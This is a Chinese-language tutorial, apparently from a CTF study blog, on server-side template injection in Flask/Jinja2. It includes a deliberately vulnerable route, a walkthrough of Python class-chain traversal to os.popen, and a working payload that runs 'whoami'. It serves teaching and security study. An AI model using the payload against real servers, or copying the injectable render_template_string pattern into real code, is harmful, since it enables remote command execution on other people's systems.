SSTI(Server-Side Template Injection),服务端模板注入。
一、预备知识
1.模板引擎
模板引擎(特指web端的模板引擎)是为了分离用户界面和业务数据产生的,通过生成特定格式的文档,利用模板引擎生成前端的html代码,只需要获取用户数据放入渲染函数里即可生成模板+用户数据的前端页面呈现给用户浏览器。
2.SSTI
现如今的一些框架,像python的flask,php的thinkphp,java的spring等一般都是使用成熟MVC模式:
- 用户的输入先进入Controller控制器
- 根据请求类型和请求指令发送到对应Model业务模型进行业务逻辑判断和数据库存取
- 将结果返回到View视图层,经过模板渲染后展现给用户
而SSTI漏洞成因就是因为服务端接收用户输入后,未做任何处理就将其作为Web应用模板内容的一部分,模板引擎进行目标编译渲染时,执行了用户输入的恶意语句,从而导致敏感信息泄露、RCE、getshell等问题。
二、常见SSTI问题
1.python中的ssti-jinja2
示例代码
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/ssti')
def ssti_view():
user_input = request.args.get('input', 'guest')
template_code = f'''
<div style="text-align: center; margin-top: 50px; font-family: sans-serif;">
<h3>Hello, {user_input}</h3>
</div>
'''
return render_template_string(template_code)
if __name__ == "__main__":
app.run(debug=True, host='127.0.0.1', port=5000)
此时默认的模板解释参数为guest,分析代码可知此时服务端的运行逻辑是接收前端输入的input参数,将其返回到后端拼接后返回前端进行展示
两种主要的模板渲染函数:
render_template(): 用于渲染一个指定的模板文件;
render_template_string(): 用于渲染一个作为输入的字符串
Jinja2模板引擎使用双大括号{{ }}作为变量包裹标识符,当模板函数(尤其是在使用字符串作为模板的场景)进行渲染时,它会把{{ }}包裹起来的内容当作变量或表达式进行解析替换。
模板注入漏洞的成因就是渲染函数在渲染时,往往不会对用户输入的变量做渲染,而是直接替换。然而,如果用户输入的数据包含了 Jinja2 的变量包裹标识符{{}},那么用户输入的内容就会被解析执行。(像 2*2 被解析成 4 )
继承关系
在 Python 中,所有类都默认或显式地继承自一个基类,即内置的 object 类。SSTI 攻击利用的就是 Python 模板引擎在渲染用户输入时,用户可以通过一系列魔术方法进行“类继承链漫游”,最终找到一个可以执行系统命令或读取文件的危险函数/模块。
class a:pass
class b(a):pass
class c(b):pass
c = c()
print(c.__class__)#__class__:找到它的当前类
print(c.__class__.__base__)#__base__:找到当前类的父类,也就是b类
print(c.__class__.__base__.__base__)#a类
print(c.__class__.__base__.__base__.__base__)#a类的父类,object类
print(c.__class__.__mro__)#包含所有父类的元组,与 __base__ 类似,但可以获取多个父类
print(c.__class__.__mro__[3])#加上下标就能拿到指定的类
print(c.__class__.__mro__[3].__subclasses__())#返回一个列表,包含所有直接继承自该类的子类。这是关键,因为通过它,可以从object遍历到所有当前运行环境中加载的类,包括含有我们RCE所需的函数/模块的类
[Running] python -u "d:\desktop\src\code\CTF\tempCodeRunnerFile.py"
<class '__main__.c'>
<class '__main__.b'>
<class '__main__.a'>
<class 'object'>
(<class '__main__.c'>, <class '__main__.b'>, <class '__main__.a'>, <class 'object'>)
<class 'object'>
[<class 'type'>, <class 'async_generator'>, ...
在这串代码里面,创建了a、b、c三个类,c类继承b类,b类继承a类,a类默认继承object类。
这里读取object类的子类的时候,输出不换行,而且检索比较麻烦,这里写了一个通用脚本来给输出进行换行和编号,便于我们找到指定的类。
import re
subclasses_string = (
"<class 'type'>, <class 'async_generator'>, ..., <class '__main__.a'>")#这里替换输出
pattern = r"<class\s+.*?>"
class_list = re.findall(pattern, subclasses_string)
output_filename = "subclasses.txt"
try:
with open(output_filename, 'w', encoding='utf-8') as f:
output_content = "\n".join(class_list)
f.write(output_content)
print(f"成功将 {len(class_list)} 个子类信息输出到文件:{output_filename}")
print("文件内容一个类占一行。")
except IOError:
print(f"写入文件 {output_filename} 时发生错误。请检查文件权限。")
检索输出得到的信息,找我们能拿来进行RCCE的类,这里就给出一个类<class ‘os._wrap_close’>,索引是170,但是首位是0,所以应该是列表的第169个。
class a:pass
class b(a):pass
class c(b):pass
c = c()
print(c.__class__)#__class__:找到它的当前类
print(c.__class__.__base__)#__base__:找到当前类的父类,也就是b类
print(c.__class__.__base__.__base__)#a类
print(c.__class__.__base__.__base__.__base__)#a类的父类,object类
print(c.__class__.__mro__)#包含所有父类的元组,与 __base__ 类似,但可以获取多个父类
print(c.__class__.__mro__[3])#加上下标就能拿到指定的类
#print(c.__class__.__mro__[3].__subclasses__())
# #返回一个列表,包含所有直接继承自该类的子类。这是关键,因为通过它,可以从object遍历到所有当前运行环境中加载的类,包括含有我们RCE所需的函数/模块的类
print(c.__class__.__mro__[3].__subclasses__()[169])
print(c.__class__.__mro__[3].__subclasses__()[169].__init__)
#__init__ 返回一个函数对象,获取一个可以访问__globals__ 字典的跳板,从而访问到内置函数集__builtins__
#print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__)
#很多全局变量都在里面,我们需要进行rce,就要找到能执行系统命令的方法。这里用popen函数来执行系统命令
print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__['popen'])
print(c.__class__.__mro__[3].__subclasses__()[169].__init__.__globals__['popen']('whoami').read())
[Running] python -u "d:\desktop\src\code\CTF\python_class.py"
<class '__main__.c'>
<class '__main__.b'>
<class '__main__.a'>
<class 'object'>
(<class '__main__.c'>, <class '__main__.b'>, <class '__main__.a'>, <class 'object'>)
<class 'object'>
<class 'os._wrap_close'>
<function _wrap_close.__init__ at 0x000001C4097E1010>
<function popen at 0x000001C4097E0EB0>
wolf\admin
通过找到指定的类之后,攻击链通常是类—-类的构造函数—-构造函数所处的模块全局变量,所以需要__init__作为跳板,来获得__globals__ 字典。
这里执行命令要用 read()方法来读取数据,因为popen函数会执行传入的 shell 命令,并返回一个文件对象,而不是我们需要的命令回显数据。
最后可以看到成功执行命令,这也是一般ssti的攻击思路。
魔术方法
总结一下常用的的魔术方法
| 属性/方法 | 返回值 |
|---|---|
.__class__ |
对象的类 |
.__base__ |
类的直接父类 |
.__bases__ |
所有直接父类的元组 |
.__mro__ |
方法解析顺序元组 |
.__subclasses__() |
继承自该类的所有子类的列表 |
.__init__ |
类的构造函数 |
.__globals__ |
函数所在模块的全局命名空间 |
['__builtins__'] |
Python 的内置函数集 |
.__import__() |
Python 的导入函数 |
SSTI注入
payload:
{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['popen']('whoami').read()}}
我们不知道有哪些现成的类,可以用’’.__class__或者””.__class__,返回的就是<class ‘str’>,此时访问父类就是object。
(其他类型有待更新…)




